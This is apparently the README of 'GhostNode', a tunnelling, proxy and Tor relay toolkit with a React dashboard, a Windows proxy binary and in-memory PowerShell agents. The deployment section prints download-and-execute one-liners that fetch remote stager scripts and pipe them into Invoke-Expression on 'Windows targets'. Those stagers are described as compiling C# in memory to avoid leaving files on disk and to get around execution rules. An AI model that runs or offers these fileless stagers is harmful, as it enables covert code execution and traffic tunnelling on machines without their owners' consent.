🛡️ GhostNode - Next-Generation Encrypted Network Tunnel & Relay Gateway

GhostNode is a high-performance, developer-focused networking ecosystem designed for secure packet relaying, encrypted tunneling, and local-loopback proxy auditing. It provides developers and network administrators with a unified suite of tools to test application resilience, inspect traffic patterns, and deploy secure remote gateways across varying network topologies.

The project is structured to offer flexible deployment options—ranging from in-browser sandboxes to system-wide daemons and lightweight, memory-efficient headless agents.

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📌 Architecture & Component Layout

graph TD
    A[Client App / Browser / Local TCP] -->|System Loopback / SOCKS5| B(System-Wide Daemon / Memory Agent)
    A -->|In-Browser Web UI| C(React Console / Ultraviolet Web Proxy)
    
    C -->|Service Worker Interception| D[Relay Gateway API]
    B -->|Encrypted WebSockets wss://| E[GhostNode Relay Gateway]
    
    E -->|Firebase Firestore| F[(Identity & Token Validator)]
    E -->|Direct Routing| G[Target Web Server]
    E -->|SOCKS5 Handshake| H[Tor Routing Daemon]
    H -->|Anonymized Transport| I[Metadata-Private Network]

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1. Developer Dashboard & Telemetry (client & lofty-impressions-main)

• Tech Stack: React, Vite, TypeScript, TailwindCSS, Shadcn UI, and Lucide Icons.
• Security & Identity: User authentication powered by Firebase Auth.
• Real-time Telemetries: Visual monitoring of round-trip time (RTT/Latency), active concurrent tunnels, and backend Tor service connectivity.
• Secure Downloader: A server-side file retrieval pipeline designed to fetch assets through the gateway to analyze and route payloads safely.
• Token Provisioning: Manages the generation of cryptographically secure, temporary access tokens (2-hour TTL) for agent authentication.

2. In-Browser Web Proxy Sandbox (Bare-Mux / Ultraviolet)

• Combines service worker interceptors with Ultraviolet (UV) and Bare transport servers.
• Provides an isolated in-browser testing playground where websites can be proxied and inspected inside an iframe, requiring no local software installation or administrative privileges.

3. System-Wide Desktop Client (system-proxy-client)

• A standalone Node.js daemon compiled into a native binary (GhostProxy.exe) via pkg.
• Programmatically adjusts system-wide loopback configurations in the Windows Registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings) to direct outbound traffic through a local port (127.0.0.1:8080).
• Tunnels TCP streams over a secure, SSL-encrypted WebSocket connection (wss://) back to the central gateway, cleanly restoring original registry parameters upon termination.

4. Memory-Efficient Headless Agents (system-proxy-server)

For environments with strict execution rules or limited disk writes, GhostNode features inline PowerShell stagers that compile C# socket listeners directly in volatile memory (Add-Type), avoiding disk footprint:

• V1 (HTTP/S Agent): Spawns a local listener on port 8080 to intercept and relay system-wide web traffic via secure WebSockets.
• V2 (Multiplexed SOCKS5 Agent): Deploys a SOCKS5 proxy server on port 1080 supporting multiplexed TCP connections. It wraps multiple concurrent streams into a single WebSocket connection (Mux), reducing packet overhead and maintaining high throughput for latency-sensitive applications.
• V3 (Tor Auditing Agent): Integrates with the backend SOCKS5 Tor daemon, routing all local traffic anonymously and facilitating native onion-routing resolution directly within standard web clients.

5. Backend Relay Gateway (server & system-proxy-server)

• Bare Transport Core: Utilizes @tomphttp/bare-server-node to handle sandboxed web routing.
• WebSocket Multiplexer: Manages active agent sessions, applies backpressure control to prevent buffer overflows, and responds to socket heartbeats to prevent connection timeouts on CDNs (e.g., Cloudflare).
• Tor Onion Router: Handles runtime bootstrapping of a local Tor Expert Bundle instance and routes requested sockets through port 9050.

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🔒 Session Identity & Rate-Limiting Mechanics

To prevent unauthorized resource exhaustion, GhostNode enforces a hardware-locked session policy:

1. Tokens are provisioned on the dashboard with a strict 2-hour expiration window.
2. When an agent connects, it generates a hardware fingerprint (the client "RG") by hashing the local computer name and active user: $$\text{RG} = \text{Hex}(\text{Hostname} + "-" + \text{Username})$$
3. The backend binds the token to that specific fingerprint in Firestore upon first handshake. Subsequent requests from other machines using the same token are immediately dropped.
4. An in-memory validation cache prevents database bottlenecks by serving authentication state in microseconds.

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🚀 Setup & Execution Guide

Prerequisites

• Node.js (v18 or higher)
• A Firebase project with Firestore enabled.
• Tor Expert Bundle (optional, for V3 anonymous routing).

1. Relay Gateway Setup

1. Navigate to system-proxy-server/ or server/.
2. Download your Firebase service account key from the Firebase Console (Project Settings -> Service Accounts) and save it as serviceAccountKey.json and firebase-key.json respectively.
3. Install dependencies and start the gateway:

   npm install
   npm start

4. Optional (Tor Daemon): Place the Tor executable inside system-proxy-server/tor/ (tor.exe for Windows, tor for Linux). The backend will automatically start Tor on port 9050 during initialization.

2. React UI Console Setup

1. Navigate to lofty-impressions-main/lofty-impressions-main/ or client/.
2. Add your Firebase configuration details in src/firebase.js.
3. Run the Vite development server:

   npm install
   npm run dev

4. Configure the environment variable VITE_BACKEND_URL to point to your running Relay Gateway.

3. Compiling the Client Binary

1. Navigate to system-proxy-client/.
2. Set your gateway's secure websocket URL (REMOTE_WS_URL) in client.js.
3. Build the standalone executable:

   npm install
   npm run build

4. Place the generated GhostProxy.exe into the React app's public/ directory for download.

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💻 Headless Agent Deployment (In-Memory PowerShell)

These commands deploy memory-only C# clients on Windows targets, useful for testing remote headless systems:

V1 — System HTTP/S Agent

Invoke-Expression (Invoke-RestMethod -Uri "https://your-gateway.com/stager.ps1")

V2 — SOCKS5 Multiplexed Agent (High-performance / Gaming)

Invoke-Expression (Invoke-RestMethod -Uri "https://your-gateway.com/stager-socks.ps1")

V3 — Onion Routing Agent

Invoke-Expression (Invoke-RestMethod -Uri "https://your-gateway.com/stager-tor.ps1")

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🐳 Containerized Deployment (Docker)

The repository provides a production-ready Dockerfile optimized for non-privileged execution (User ID 1000), making it directly compatible with container platforms like Hugging Face Spaces or Render:

# Build the container
docker build -t ghostnode-gateway .

# Start the gateway locally on port 7860
docker run -p 7860:7860 -e PORT=7860 ghostnode-gateway

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📜 License & Ethical Use

This project is open-source and intended solely for network research, educational demonstrations, developer testing, and private tunnel debugging. Ensure all deployments comply with your local infrastructure guidelines and network usage agreements.